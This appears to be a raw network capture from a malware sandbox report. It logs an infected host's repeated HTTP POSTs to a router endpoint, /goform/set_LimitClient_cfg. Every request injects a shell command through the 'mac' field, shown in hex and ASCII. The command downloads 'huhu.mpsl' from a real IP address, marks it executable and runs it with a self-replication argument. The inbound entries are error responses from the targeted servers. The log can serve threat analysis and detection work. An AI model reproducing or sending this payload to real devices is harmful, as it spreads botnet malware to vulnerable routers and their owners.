Feb 29, 2024 10:48:35.012496948 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:35.371082067 CET	156	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 29 Feb 2024 09:48:30 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:38.489371061 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:38.585087061 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 29 Feb 2024 09:48:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:38.673023939 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:41.919214010 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:48.062340975 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:49:00.092658043 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:39.350544930 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:41.375308990 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:41.483481884 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:41.822060108 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:41.933113098 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 29 Feb 2024 08:20:37 GMT Content-Type: text/html Content-Length: 3183 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:41.552624941 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:41.730153084 CET	448	IN	HTTP/1.0 403 Access denied because Web Monitor access is not permitted from this source(no certificate presented). Please consult http-access directive in PMTA User Guide. Content-Type: text/html X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 62 65 63 61 75 73 65 20 57 65 62 20 4d 6f 6e 69 74 6f 72 20 61 63 63 65 73 73 20 69 73 20 6e 6f 74 20 70 65 72 6d 69 74 74 65 64 20 66 72 6f 6d 20 74 68 69 73 20 73 6f 75 72 63 65 28 6e 6f 20 63 65 72 74 69 66 69 63 61 74 65 20 70 72 65 73 65 6e 74 65 64 29 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 75 6c 74 20 68 74 74 70 2d 61 63 63 65 73 73 20 64 69 72 65 63 74 69 76 65 20 69 6e 20 50 4d 54 41 20 55 73 65 72 20 47 75 69 64 65 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><body>Access denied because Web Monitor access is not permitted from this source(no certificate presented). Please consult http-access directive in PMTA User Guide.</body></html>